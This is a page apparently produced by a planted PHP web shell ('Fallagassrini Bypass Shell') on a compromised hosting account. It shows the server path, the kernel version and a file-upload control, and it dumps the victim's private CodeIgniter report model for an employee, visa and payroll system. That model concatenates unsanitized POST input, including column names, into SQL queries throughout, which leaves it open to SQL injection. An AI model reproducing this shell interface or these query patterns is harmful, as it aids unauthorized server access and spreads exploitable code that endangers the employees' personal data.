? Fallagassrini

Fallagassrini Bypass Shell

echo"
Fallagassrini
";
Current Path : /home1/savoy/www/savoyglobal.net/horeitia/application/models/

Linux gator3171.hostgator.com 4.19.286-203.ELK.el7.x86_64 #1 SMP Wed Jun 14 04:33:55 CDT 2023 x86_64
Upload File :
Current File : /home1/savoy/www/savoyglobal.net/horeitia/application/models/reportmodel.php

<?php  if ( ! defined('BASEPATH')) exit('No direct script access allowed');


class Reportmodel extends CI_Model
{
    function __construct()
    {
        // Call the Model constructor
        parent::__construct();
    }

    function get_absencelist($postdata)
    {
            $data=array();
             $qry="SELECT
            id,attendance_date,ea.employee_id,attendance_reason_id,em.emp_non_no_old,GROUP_CONCAT(DISTINCT(`visa_processing`.`employee_no`) order by visa_processing_id) AS emp_non_no,em.emp_non_full_name,al.attendance_list_reason
            FROM `employee_absent` ea
            join employee_non_main em on em.emp_non_id=ea.employee_id
            JOIN visa_processing ON `visa_processing`.`employee_id` = `ea`.`employee_id`
            join attendance_list al on al.attendance_list_id=ea.attendance_reason_id where ea.employee_id != ''
            ";
            
            if($postdata['employee_status']!="")
                $qry.=" and active = '".$postdata['employee_status']."'";
            
            if($postdata['from_date']!="" && $postdata['to_date']!="")
            {
                $fromdate=  $this->mastermodel->convdatformat($postdata['from_date']);
                $todate=$this->mastermodel->convdatformat($postdata['to_date']);
                $qry.=" and ea.attendance_date between '$fromdate' and '$todate'";
            }
            
            if($postdata['reason']!="")
                $qry.=" and attendance_reason_id = '".$postdata['reason']."'";

            $qry.="  GROUP BY id order by ea.attendance_date desc";

       
            $res=$this->db->query($qry);

            if ($res->num_rows() > 0)
                 {
                     foreach ($res->result_array() as $row)
                     {
                         $data[] = $row;
                     }
                 }
             $res->free_result();
             return $data;

    }
    function get_campreport($postdata)
    {
            $data=array();
            $on_date=$this->mastermodel->convertdateformat($postdata['on_date']);
            $camp_id=$postdata['camp_name'];


         $qry="SELECT tt.*,employee_non_main.*,camp_name,
        
        GROUP_CONCAT(DISTINCT(`visa_processing`.`employee_no`) order by visa_processing_id) AS emp_non_no
        FROM camp_allotment tt
        INNER JOIN
        employee_non_main on employee_non_main.emp_non_id=tt.employee_id
        JOIN visa_processing ON `visa_processing`.`employee_id` = `employee_non_main`.`emp_non_id`
        INNER JOIN
        camp on tt.camp_id=camp.camp_id
        INNER JOIN
        (SELECT employee_id, MAX(camp_allotment_date) AS alloted_date
        FROM camp_allotment
        GROUP BY employee_id) groupedtt ON tt.employee_id = groupedtt.employee_id
        AND tt.camp_allotment_date = groupedtt.alloted_date
        where emp_non_id !=''";

            if($camp_id!="")
            {
              $qry.=" and tt.camp_id = '$camp_id'";
            }

            if($on_date!="")
            {
              $qry.=" and tt.camp_allotment_date <= '$on_date'";
            }
            
            if($postdata['employee_status']!="")
            {
              $qry.=" and active = '".$postdata['employee_status']."'";
            }

            $qry.=" GROUP BY emp_non_id order by camp_id,tt.camp_allotment_date desc";
            $res=$this->db->query($qry);
            if ($res->num_rows() > 0)
            {
                foreach ($res->result_array() as $row)
                {
                    $data[] = $row;
                }
            }
            $res->free_result();
            return $data;
    }

    function get_campshift($postdata)
    {
            $data=array();
            $qry="select *,GROUP_CONCAT(DISTINCT(`visa_processing`.`employee_no`) order by visa_processing_id) AS emp_non_no
                from `camp_allotment` inner join employee_non_main
                on `camp_allotment`.employee_id = employee_non_main.emp_non_id
                JOIN visa_processing ON `visa_processing`.`employee_id` = `camp_allotment`.`employee_id`
                 where employee_non_main.emp_non_id != ''
                ";
                 if($postdata['from_date']!="" && $postdata['to_date']!="")
                {
                    $fromdate=  $this->mastermodel->convdatformat($postdata['from_date']);
                    $todate=$this->mastermodel->convdatformat($postdata['to_date']);
                    $qry.=" and camp_allotment_date between '$fromdate' and '$todate'";
                }
             if($postdata['employee_status']!="")
                $qry.=" and active = '".$postdata['employee_status']."'";
              $qry.=" GROUP BY camp_allotment_id order by camp_allotment.camp_id, camp_allotment_date desc";
            $res=$this->db->query($qry);
            if ($res->num_rows() > 0)
            {
                foreach ($res->result_array() as $row)
                {
                    $data[] = $row;
                }
            }
            $res->free_result();
            return $data;
    }

    function get_siteshift($postdata)
    {
            $data=array();
            $qry="select *,GROUP_CONCAT(DISTINCT(`visa_processing`.`employee_no`) order by visa_processing_id) AS emp_non_no
                from `site_allotment` inner join employee_non_main
                on `site_allotment`.employee_id = employee_non_main.emp_non_id
                JOIN visa_processing ON `visa_processing`.`employee_id` = `site_allotment`.`employee_id`
                where employee_non_main.emp_non_id != '' ";
             if($postdata['from_date']!="" && $postdata['to_date']!="")
                {
                    $fromdate=  $this->mastermodel->convdatformat($postdata['from_date']);
                    $todate=$this->mastermodel->convdatformat($postdata['to_date']);
                    $qry.=" and site_allotment_date between '$fromdate' and '$todate'";
                }
            if($postdata['employee_status']!="")
                $qry.=" and active = '".$postdata['employee_status']."'";
            $qry.=" GROUP BY site_allotment_id order by site_allotment.site_id, site_allotment_date  desc";
            $res=$this->db->query($qry);
            if ($res->num_rows() > 0)
            {
                foreach ($res->result_array() as $row)
                {
                    $data[] = $row;
                }
            }
            $res->free_result();
            return $data;
    }
    
    function get_leave($postdata)
    {
            $data=array();
            $fromdate=  $this->mastermodel->convdatformat($postdata['from_date']);
            $todate=$this->mastermodel->convdatformat($postdata['to_date']);
            $qry="select *,GROUP_CONCAT(DISTINCT(`visa_processing`.`employee_no`) order by visa_processing_id) AS emp_non_no
                from `leave` inner join employee_non_main
                on `leave`.employee_id = employee_non_main.emp_non_id
                inner join leave_type
                on `leave`.leave_type_id = leave_type.leave_type_id
                JOIN visa_processing ON `visa_processing`.`employee_id` = `leave`.`employee_id`
                where employee_non_main.emp_non_id != '' ";
            if($postdata['from_date']!="" && $postdata['to_date']!="")
                {
                    $fromdate=  $this->mastermodel->convdatformat($postdata['from_date']);
                    $todate=$this->mastermodel->convdatformat($postdata['to_date']);
                    $qry.=" and ".$postdata['date_filter']." between '$fromdate' and '$todate'";
                }
            if($postdata['employee_status']!="")
                $qry.=" and active = '".$postdata['employee_status']."'";
            if($postdata['leave_type']!="")
                $qry.=" and `leave`.leave_type_id = '".$postdata['leave_type']."'";
            if($postdata['leave_status']!="")
                $qry.=" and `leave`.leave_status = '".$postdata['leave_status']."'";
            if($postdata['leave_reason']!="")
                $qry.=" and `leave`.leave_reason = '".$postdata['leave_reason']."'";

            $qry.=" GROUP BY leave_id order by leave_id desc";
            $res=$this->db->query($qry);
            if ($res->num_rows() > 0)
            {
                foreach ($res->result_array() as $row)
                {
                    $data[] = $row;
                }
            }
            $res->free_result();
            return $data;
    }

    function get_employeestatus($postdata)
    {
        $data=array();
        $qry="select *,GROUP_CONCAT(DISTINCT(`visa_processing`.`employee_no`) order by visa_processing_id) AS emp_non_no from `employee_non_main`
            inner join emp_non_personal on employee_non_main.emp_non_id = emp_non_personal.emp_non_id
            inner join trade on employee_non_main.emp_non_trade_id = trade.trade_id
            JOIN visa_processing ON `visa_processing`.`employee_id` = `employee_non_main`.`emp_non_id`";
        if($postdata['employee_status']!="")
            $qry.=" where active = '".$postdata['employee_status']."' and";
        else
            $qry.=" where";
        if($postdata['from_date']!="" && $postdata['to_date']!="")
        {
            $fromdate=  $this->mastermodel->convdatformat($postdata['from_date']);
            $todate=$this->mastermodel->convdatformat($postdata['to_date']);
            $qry.=" employee_non_main.emp_non_date_joining between '$fromdate' and '$todate'";
        }
        else
            $qry.=" employee_non_main.emp_non_id != ''";

        $qry.=" GROUP BY employee_non_main.emp_non_id order by employee_non_main.emp_non_date_joining desc, employee_non_main.emp_non_full_name";
        $res=$this->db->query($qry);
        if ($res->num_rows() > 0)
        {
            foreach ($res->result_array() as $row)
            {
                $data[] = $row;
            }
        }
        $res->free_result();
        return $data;
    }

    function get_visa($postdata)
    {
            if($postdata['date_filter']!="visa_issue_date")
            {
                $data=array();
                
                $qry="SELECT ifnull(vp2.employee_id,vp1.employee_id) as employee_id,IFNULL(vp2.employee_no,vp1.employee_no) as employee_no,emp_non_no_old,emp_non_passport_no,emp_non_full_name,visa_type_name,IFNULL(vp2.visa_issue_date,vp1.visa_issue_date) as visa_issue_date,ifnull(vp2.medical,vp1.medical) as medical,ifnull(vp2.fingerprint,vp1.fingerprint) as fingerprint ,ifnull(vp2.health_card_no,vp1.health_card_no) as health_card_no,ifnull(vp2.id_card_no,vp1.id_card_no) as id_card_no,ifnull(vp2.blood_group,vp1.blood_group) as blood_group,emp_non_date_joining,IFNULL(vp2.visa_expiry_date,vp1.visa_expiry_date) AS visa_expiry_date
                    ,IFNULL(vp2.visa_expiry_date,vp1.visa_expiry_date) AS expiry_date
                        FROM .`visa_processing` AS `vp1`
                        INNER JOIN employee_non_main ON (vp1.employee_no = employee_non_main.emp_non_no)
                        INNER JOIN visa_type ON visa_type.visa_type_id = vp1.visa_type_id
                        LEFT OUTER JOIN .`visa_processing` AS `vp2`
                        ON (`vp1`.`employee_id` = `vp2`.`employee_id` AND vp1.visa_expiry_date < vp2.visa_expiry_date)
                        where (vp1.`employee_id` != '' or  vp2.`employee_id` != '') ";
                if($postdata['employee_status']!="")
                    $qry.=" and active = '".$postdata['employee_status']."'";

                if($postdata['visa_type']!="")
                    $qry.=" and (vp1.`visa_type_id` = '".$postdata['visa_type']."' or vp2.`visa_type_id` = '".$postdata['visa_type']."')";
                $qry.=" GROUP BY employee_id";
                if($postdata['from_date']!="" && $postdata['to_date']!="")
                {
                    $fromdate=  $this->mastermodel->convdatformat($postdata['from_date']);
                    $todate=$this->mastermodel->convdatformat($postdata['to_date']);
                    $qry.=" having ".$postdata['date_filter']." between '$fromdate' and '$todate'";
                }
                $qry.=" order by expiry_date desc";

                
                $res=$this->db->query($qry);
                if ($res->num_rows() > 0)
                {
                    foreach ($res->result_array() as $row)
                    {
                        $data[] = $row;
                    }
                }
                $res->free_result();
                return $data;
            }
            else
            {
                $data=array();
                $fromdate=  $this->mastermodel->convdatformat($postdata['from_date']);
                $todate=$this->mastermodel->convdatformat($postdata['to_date']);
                $qry="select * from `visa_processing` inner join employee_non_main
                    on `visa_processing`.employee_id = employee_non_main.emp_non_id
                    inner join visa_type
                    on `visa_processing`.`visa_type_id` = visa_type.visa_type_id
                    where employee_non_main.emp_non_id != ''
                    ";
                if($postdata['employee_status']!="")
                    $qry.=" and active = '".$postdata['employee_status']."'";

                if($postdata['from_date']!="" && $postdata['to_date']!="")
                {
                    $fromdate=  $this->mastermodel->convdatformat($postdata['from_date']);
                    $todate=$this->mastermodel->convdatformat($postdata['to_date']);
                    $qry.=" and ".$postdata['date_filter']." between '$fromdate' and '$todate'";
                }
                if($postdata['visa_type']!="")
                    $qry.=" and `visa_processing`.`visa_type_id` = '".$postdata['visa_type']."'";
                $qry.=" order by ".$postdata['date_filter']." desc ";

                $res=$this->db->query($qry);
                if ($res->num_rows() > 0)
                {
                    foreach ($res->result_array() as $row)
                    {
                        $data[] = $row;
                    }
                }
                $res->free_result();
                return $data;
            }
    }

    function get_passport($postdata)
    {
        $data=array();
        $qry="select * ,GROUP_CONCAT(DISTINCT(`visa_processing`.`employee_no`) order by visa_processing_id) AS emp_non_no from  `passport_processing` inner join employee_non_main
            on `passport_processing`.employee_id = employee_non_main.emp_non_id
            JOIN visa_processing ON `visa_processing`.`employee_id` = `employee_non_main`.`emp_non_id`
           where employee_non_main.emp_non_id != ''";
        if($postdata['employee_status']!="")
            $qry.=" and active = '".$postdata['employee_status']."'";

        if($postdata['from_date']!="" && $postdata['to_date']!="")
        {
            $fromdate=  $this->mastermodel->convdatformat($postdata['from_date']);
            $todate=$this->mastermodel->convdatformat($postdata['to_date']);
            $qry.=" and ".$postdata['date_filter']." between '$fromdate' and '$todate'";
        }
        $qry.=" group by `employee_non_main`.`emp_non_id` order by passport_processing_id desc";
        $res=$this->db->query($qry);
        if ($res->num_rows() > 0)
        {
            foreach ($res->result_array() as $row)
            {
                $data[] = $row;
            }
        }
        $res->free_result();
        return $data;
    }

    function get_disciplinary($postdata)
    {
            $data=array();
            $qry="select *,GROUP_CONCAT(DISTINCT(`visa_processing`.`employee_no`) order by visa_processing_id) AS emp_non_no from 
                `cir` inner join employee_non_main
                on `cir`.employee_id = employee_non_main.emp_non_id
                JOIN visa_processing ON `visa_processing`.`employee_id` = `employee_non_main`.`emp_non_id` where emp_non_id !=''";
        if($postdata['from_date']!="" && $postdata['to_date']!="")
        {
            $fromdate=  $this->mastermodel->convdatformat($postdata['from_date']);
            $todate=$this->mastermodel->convdatformat($postdata['to_date']);
            $qry.=" and ".$postdata['date_filter']." between '$fromdate' and '$todate'";
        }
          
            
            if($postdata['employee_status']!="")
                $qry.=" and active = '".$postdata['employee_status']."'";
              $qry.=" GROUP BY employee_non_main.emp_non_id order by cir_date desc";
       
            $res=$this->db->query($qry);
            if ($res->num_rows() > 0)
            {
                foreach ($res->result_array() as $row)
                {
                    $data[] = $row;
                }
            }
            $res->free_result();
            return $data;
    }

    function get_purchase($postdata)
    {
            $data=array();
            $qry= "SELECT `item_tool_allotment`.`allotment_id`,
                `employee_non_main`.`emp_non_id`,`employee_non_main`.`emp_non_passport_no`,emp_non_no_old
                ,`employee_non_main`.`emp_non_full_name`
                ,GROUP_CONCAT(DISTINCT(`visa_processing`.`employee_no`) order by visa_processing_id) AS emp_non_no
                ,`employee_non_main`.`emp_non_date_joining`

                FROM
                    `employee_non_main`
                    INNER JOIN `item_tool_allotment`
                        ON (`item_tool_allotment`.`employee_id` = `employee_non_main`.`emp_non_id`)

                        JOIN visa_processing ON `visa_processing`.`employee_id` = `employee_non_main`.`emp_non_id`";


            if($postdata['employee_status']!="")
                $qry.=" where employee_non_main.active = '".$postdata['employee_status']."'";

           $qry .= " GROUP BY `employee_non_main`.`emp_non_id` order by emp_non_id desc";
           
            $res=$this->db->query($qry);
            if ($res->num_rows() > 0)
            {
                foreach ($res->result_array() as $row)
                {
                    $data[] = $row;
                }
            }
            $res->free_result();
            return $data;
    }

    function get_settlement($postdata)
    {
        $data=array();
        $fromdate=  $this->mastermodel->convdatformat($postdata['from_date']);
        $todate=$this->mastermodel->convdatformat($postdata['to_date']);
        $qry= "SELECT `settlement`.`settlement_id`,`settlement`.`basic_salary`,`settlement`.`final_amount`,`settlement`.`date`,
                `employee_non_main`.`emp_non_id`,`employee_non_main`.`emp_non_passport_no`
                ,`employee_non_main`.`emp_non_full_name`,emp_non_no_old
                ,GROUP_CONCAT(DISTINCT(`visa_processing`.`employee_no`) order by visa_processing_id) AS emp_non_no
                ,`employee_non_main`.`emp_non_date_joining`
                FROM
                    `employee_non_main`
                    INNER JOIN `leave`
                        ON (`leave`.`employee_id` = `employee_non_main`.`emp_non_id`)
                    INNER JOIN `settlement`
                        ON (`settlement`.`leave_id` = `leave`.`leave_id`)
                     JOIN visa_processing ON `visa_processing`.`employee_id` = `employee_non_main`.`emp_non_id`";
        if($postdata['employee_status']!="")
            $qry.=" where active = '".$postdata['employee_status']."' and";
        else
            $qry.=" where";

        if($postdata['from_date']!="" && $postdata['to_date']!="")
        {
            $fromdate=  $this->mastermodel->convdatformat($postdata['from_date']);
            $todate=$this->mastermodel->convdatformat($postdata['to_date']);
            $qry.=" `settlement`.`date` between '$fromdate' and '$todate'";
        }
        else
            $qry.=" employee_non_main.emp_non_id != ''";

        $qry .= " GROUP BY `settlement`.`settlement_id` order by settlement_id desc";

        $qry1= "SELECT `settlement_direct`.`settlement_direct_id`,`settlement_direct`.`basic_salary`,`settlement_direct`.`final_amount`,`settlement_direct`.`date`,
                `employee_non_main`.`emp_non_id`,`employee_non_main`.`emp_non_passport_no`
                ,`employee_non_main`.`emp_non_full_name`,emp_non_no_old
                ,GROUP_CONCAT(DISTINCT(`visa_processing`.`employee_no`) order by visa_processing_id) AS emp_non_no
                ,`employee_non_main`.`emp_non_date_joining`
                FROM
                    `employee_non_main`
                    INNER JOIN `settlement_direct`
                        ON (`settlement_direct`.`employee_id` = `employee_non_main`.`emp_non_id`)
                    JOIN visa_processing ON `visa_processing`.`employee_id` = `employee_non_main`.`emp_non_id`";
        if($postdata['employee_status']!="")
            $qry1.=" where active = '".$postdata['employee_status']."' and";
        else
            $qry1.=" where";

        if($postdata['from_date']!="" && $postdata['to_date']!="")
        {
            $fromdate=  $this->mastermodel->convdatformat($postdata['from_date']);
            $todate=$this->mastermodel->convdatformat($postdata['to_date']);
            $qry1.=" `settlement_direct`.`date` between '$fromdate' and '$todate'";
        }
        else
            $qry1.=" employee_non_main.emp_non_id != ''";
            $qry1 .= " GROUP BY `settlement_direct`.`settlement_direct_id` order by settlement_direct_id desc";
            $query= "(".$qry.") UNION (".$qry1.")";
            $res=$this->db->query($query);
            if ($res->num_rows() > 0)
            {
                foreach ($res->result_array() as $row)
                {
                    $data[] = $row;
                }
            }
            $res->free_result();
            return $data;
    }

    function get_missing($postdata)
    {
            $data=array();
            $fromdate=  $this->mastermodel->convdatformat($postdata['from_date']);
            $todate=$this->mastermodel->convdatformat($postdata['to_date']);
            $qry="select * ,GROUP_CONCAT(DISTINCT(`visa_processing`.`employee_no`) order by visa_processing_id) AS emp_non_no from
                `missing` inner join employee_non_main
                on `missing`.employee_id = employee_non_main.emp_non_id
                JOIN visa_processing ON `visa_processing`.`employee_id` = `employee_non_main`.`emp_non_id`
               where employee_non_main.emp_non_id != ''";
            if($postdata['employee_status']!="")
                $qry.=" and active = '".$postdata['employee_status']."'";
            
            if($postdata['from_date']!="" && $postdata['to_date']!="")
            {
                $fromdate=  $this->mastermodel->convdatformat($postdata['from_date']);
                $todate=$this->mastermodel->convdatformat($postdata['to_date']);
                $qry.=" and ".$postdata['date_filter']." between '$fromdate' and '$todate'";
            }
            $qry.="  group by employee_non_main.emp_non_id order by missing_id desc";
            $res=$this->db->query($qry);
            if ($res->num_rows() > 0)
            {
                foreach ($res->result_array() as $row)
                {
                    $data[] = $row;
                }
            }
            $res->free_result();
            return $data;
    }

    function get_exit($postdata)
    {
            $data=array();
            $fromdate=  $this->mastermodel->convdatformat($postdata['from_date']);
            $todate=$this->mastermodel->convdatformat($postdata['to_date']);
            $qry="select *,GROUP_CONCAT(DISTINCT(`visa_processing`.`employee_no`) order by visa_processing_id) AS emp_non_no from
                  `exit` inner join `leave` on `leave`.`leave_id`=`exit`.`leave_id`
                  inner join employee_non_main on employee_non_main.emp_non_id=`leave`.`employee_id`
                  inner join leave_type on `leave`.leave_type_id = leave_type.leave_type_id
                  JOIN visa_processing ON `visa_processing`.`employee_id` = `employee_non_main`.`emp_non_id`
                  where employee_non_main.emp_non_id != '' ";

            if($postdata['employee_status']!="")
                $qry.=" and active = '".$postdata['employee_status']."'";
          

            if($postdata['from_date']!="" && $postdata['to_date']!="")
            {
                $fromdate=  $this->mastermodel->convdatformat($postdata['from_date']);
                $todate=$this->mastermodel->convdatformat($postdata['to_date']);
                $qry.=" and exit_date between '$fromdate' and '$todate'";
            }

            if($postdata['leave_type']!="" )
            {
                $qry.=" and leave.leave_type_id = '".$postdata['leave_type']."'";
            }

            if($postdata['exit_permit']!="" )
            {
                $qry.=" and exit_permit = '".$postdata['exit_permit']."'";
            }
            $qry.=" group by employee_non_main.emp_non_id order by exit_id desc";

            $res=$this->db->query($qry);
            if ($res->num_rows() > 0)
            {
                foreach ($res->result_array() as $row)
                {
                    $data[] = $row;
                }
            }
            $res->free_result();
            return $data;
    }

    
    function get_employee($postdata)
    {
            $data=array();
            $employee_name = $postdata['employee_name'];
            if($employee_name!="" && (strstr($employee_name, '<') != ""))
            {

                $no_array = explode('<', $employee_name);
                $employee_no =  trim($no_array[1],">");
                $this->db->join('employee_non_main','employee_non_main.emp_non_id = emp_non_personal.emp_non_id');
                $this->db->where('emp_non_no',$employee_no);
                $Q= $this->db->get('emp_non_personal');
                $row=$Q->row();
                return $row;
            }
            else
            {
                return 0;
            }
           
    }

    function findemployeeleave($date)
    {
         $qry="SELECT
             employee_id,
             attendance_list_reason,emp_non_full_name,emp_non_no

            FROM `employee_absent` ea
            join attendance_list al on al.attendance_list_id=ea.attendance_reason_id join employee_non_main enm on enm.emp_non_id=ea.employee_id
            where ea.attendance_date = '$date'";

            $res=$this->db->query($qry);

            if ($res->num_rows() > 0)
                 {
                     foreach ($res->result_array() as $row)
                     {
                         $data[] = $row;
                     }
                 }
             $res->free_result();
             return $data;
    }

    function findemployeecamp($empid,$date)
    {
          $date = $this->mastermodel->convertdateformat($date);
        $qry="SELECT
         `camp`.`camp_name`,`camp`.`camp_id`
            , `camp_allotment`.`camp_allotment_date`
            FROM
            `camp_allotment`
            INNER JOIN `camp`
                ON (`camp_allotment`.`camp_id` = `camp`.`camp_id`)

            WHERE employee_id = '$empid' AND camp_allotment_date <='$date' and camp_allotment_date=(select max(camp_allotment_date) from camp_allotment INNER JOIN `camp`
                ON (`camp_allotment`.`camp_id` = `camp`.`camp_id`)

            WHERE employee_id = '$empid' AND camp_allotment_date <='$date' )

       ";

         $res=$this->db->query($qry);

         $data=$res->row();
         return $data;
    }

    function findemployeepreviouscamp($empid,$date)
    {
          $date = $this->mastermodel->convertdateformat($date);
        $qry="SELECT
         `camp`.`camp_name`,`camp`.`camp_id`
            , `camp_allotment`.`camp_allotment_date`
            FROM
            `camp_allotment`
            INNER JOIN `camp`
                ON (`camp_allotment`.`camp_id` = `camp`.`camp_id`)

            WHERE employee_id = '$empid' AND camp_allotment_date <'$date' and camp_allotment_date=(select max(camp_allotment_date) from camp_allotment INNER JOIN `camp`
                ON (`camp_allotment`.`camp_id` = `camp`.`camp_id`)

            WHERE employee_id = '$empid' AND camp_allotment_date <'$date' )

       ";

         $res=$this->db->query($qry);

         $data=$res->row();
         return $data;
    }

    function findemployeetrade($empid,$date)
    {
      $date = $this->mastermodel->convertdateformat($date);
        $qry="

        SELECT
        `trade`.`trade_name`

        FROM
         `trade_change`
        INNER JOIN `trade`
            ON (`trade_change`.`trade_id` = `trade`.`trade_id`)
        WHERE employee_id = '$empid' AND trade_change_date <='$date'
        and trade_change_date=(select max(trade_change_date) FROM
         `trade_change`
        INNER JOIN `trade`
            ON (`trade_change`.`trade_id` = `trade`.`trade_id`)
        WHERE employee_id = '$empid' AND trade_change_date <='$date')
        ";

         $res=$this->db->query($qry);

         $data=$res->row();

         return $data;
    }

    function findemployeesite($empid,$date)
    {
        $date = $this->mastermodel->convertdateformat($date);
        $qry="SELECT
         `site`.`site_name`,`site`.`site_id`
        , `site_allotment`.`site_allotment_date`, payroll_customer.customer_name
        FROM
        `site_allotment`
        INNER JOIN `site`
            ON (`site_allotment`.`site_id` = `site`.`site_id`)
        LEFT JOIN `payroll_customer`
            ON (`payroll_customer`.`customer_id` = `site`.`customer_id`)    
        WHERE employee_id = '$empid' AND site_allotment_date <='$date' and site_allotment_date=(select max(site_allotment_date) from site_allotment INNER JOIN `site`
            ON (`site_allotment`.`site_id` = `site`.`site_id`)

        WHERE employee_id = '$empid' AND site_allotment_date <='$date' )
           ";

         $res=$this->db->query($qry);

         $data=$res->row();
         return $data;
    }


    function findcampemployee($date,$campid)
    {
        $qry="SELECT `employee_id` FROM `camp_allotment` WHERE `camp_allotment_date`<='$date' and camp_id='$campid'";

        $res=$this->db->query($qry);

            if ($res->num_rows() > 0)
                 {
                     foreach ($res->result_array() as $row)
                     {
                         $data[] = $row;
                     }
                 }
             $res->free_result();
             return $data;
    }

    function get_all_employees()
    {
        $data = array();
        $sql = "select employee_non_main.emp_non_id, emp_non_full_name, emp_non_date_joining, batch_code, trade_name, emp_non_no from employee_non_main inner join emp_non_personal on emp_non_personal.emp_non_id=employee_non_main.emp_non_id  inner join batch on id=batch_id inner join trade on emp_non_trade_id=trade_id";
        $sql.=  " order by emp_non_full_name";
        $Q = $this->db->query($sql);
        if ($Q->num_rows() > 0)
        {
            foreach ($Q->result_array() as $row)
            {
                $data[] = $row;
            }
        }
        $Q->free_result();
        return $data;
    }

    function get_reason_absent_count($camp_id,$reason_id,$from_date,$to_date,$employee_status)
    {
        $from_date = $this->mastermodel->convertdateformat($from_date);
        $to_date = $this->mastermodel->convertdateformat($to_date);
        $count = 0;
        $sql = "SELECT * FROM `employee_absent` where attendance_reason_id = '$reason_id'  and `employee_absent`.`attendance_date` BETWEEN '$from_date' AND '$to_date'";
        $Q = $this->db->query($sql);
        if ($Q->num_rows() > 0)
        {
            foreach ($Q->result_array() as $row)
            {
                $camp=$this->reportmodel->findemployeecamp($row['employee_id'],$row['attendance_date']);
                if($camp->camp_id == $camp_id)
                        $count++;

            }
        }
        return $count;

    }

    
}

bypass 1.0, Devloped By El Moujahidin (the source has been moved and devloped)
Email: contact@elmoujehidin.net